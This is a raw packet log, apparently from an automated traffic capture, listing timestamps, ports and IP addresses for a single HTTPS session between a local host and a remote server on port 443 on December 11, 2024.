Dec 11, 2024 12:45:41.957751036 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.958046913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.959131002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.959167957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.959357023 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.959357977 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.959378004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.959460020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.959686995 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.960117102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.960153103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.960313082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.960386038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.960398912 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.960443020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.960659981 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.961174965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.961210966 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.961404085 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.961421967 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.961558104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.961647034 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.963020086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.963057041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.963202000 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.963356972 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.963373899 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.964152098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.964550972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.964587927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.964787960 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.964803934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.964878082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.965007067 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.965449095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.965485096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.965643883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.965657949 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.965693951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.965864897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.966586113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.966624022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.966775894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.966916084 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.966926098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.967243910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.968226910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.968265057 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.968492985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.968508959 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.968683958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.969387054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.969424009 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.969546080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.969595909 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.969607115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.969691038 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.969818115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.971065998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.971102953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.971249104 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.971412897 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.971422911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.971573114 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.972641945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.972685099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.972821951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.972866058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.972877979 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.972934961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.973054886 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.973911047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.973951101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.974118948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.974134922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.974276066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.974939108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.974981070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.975250006 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.975261927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.975538015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.976680994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.976722002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.976839066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.976883888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.976892948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.976978064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.977147102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.977560043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.977600098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.977783918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.977796078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.977854967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.978008032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.979245901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.979285002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.979384899 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.979448080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.979459047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.979538918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.979681969 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.980123997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.980161905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.980309963 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.980360985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.980370998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.980407953 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.980530024 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.981981039 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.982017040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.982207060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.982228041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.982270002 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.982402086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.982889891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.982928991 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.983169079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.983181000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.983220100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.983338118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.984637022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.984674931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.984821081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.984920979 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.984931946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.985146046 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.985882998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.985920906 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.986066103 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.986169100 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.986180067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.986406088 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.987171888 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.987209082 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.987370014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.987564087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.987564087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.987575054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.987755060 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.988286018 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.988322973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.988483906 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.988691092 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.988699913 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.988789082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.988928080 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.990060091 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.990097046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.990384102 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.990397930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.990550995 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.991405964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.991441965 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.991647959 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.991663933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.991694927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.991823912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.992173910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.992280960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.992326021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.992423058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:41.992438078 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:41.992674112 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.156524897 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.156543016 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.156821966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.156831026 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.157026052 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.157519102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.157535076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.157777071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.157783031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.157813072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.157955885 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.158549070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.158565998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.158710003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.158807039 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.158812046 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.158857107 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.159060955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.159625053 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.159641981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.159852028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.159857035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.160029888 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.160110950 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.161258936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.161276102 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.161412001 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.161493063 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.161497116 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.161699057 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.162241936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.162257910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.162451029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.162595987 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.162601948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.162894011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.163291931 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.163307905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.163611889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.163611889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.163619995 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.163767099 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.164447069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.164463043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.164664030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.164669037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.164793968 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.164963007 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.166039944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.166054964 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.166143894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.166239023 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.166245937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.166335106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.167025089 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.167045116 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.167212009 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.167218924 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.167263985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.167407990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.168216944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.168232918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.168492079 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.168589115 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.168592930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.169832945 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.169851065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.169951916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.169959068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.170047045 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.170160055 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.170876026 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.170891047 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.171041965 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.171226025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.171231031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.171408892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.172035933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.172054052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.172178984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.172185898 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.172359943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.172776937 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.172794104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.172950029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.172960997 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.173075914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.174483061 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.174501896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.174632072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.174637079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.174710035 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.174835920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.175544977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.175561905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.175816059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.175867081 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.175872087 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.175915956 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.175971031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.176071882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.176754951 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.176773071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.176934958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.176942110 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.176984072 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.177081108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.177764893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.177781105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.177923918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.178121090 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.178127050 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.179316044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.179335117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.179547071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.179547071 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.179553032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.179728031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.180221081 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.180237055 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.180340052 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.180346966 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.180521011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.181278944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.181294918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.181487083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.181493044 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.181602955 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.182909012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.182926893 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.183085918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.183092117 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.183137894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.183217049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.192102909 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.192120075 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.192248106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.192326069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.192329884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.192404032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.193104029 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.193121910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.193342924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.193342924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.193348885 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.193571091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.194540977 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.194555998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.194760084 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.194766045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.194824934 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.195352077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.195367098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.195487022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.195492983 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.195585966 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.195667028 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.196552038 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.196562052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.196906090 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.196906090 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.196913004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.198116064 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.198127985 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.198322058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.198328972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.198396921 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.199044943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.199055910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.199253082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.199263096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.199372053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.199419975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.199584961 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.200069904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.200079918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.200800896 CET	49763	443	192.168.11.20	172.67.128.139
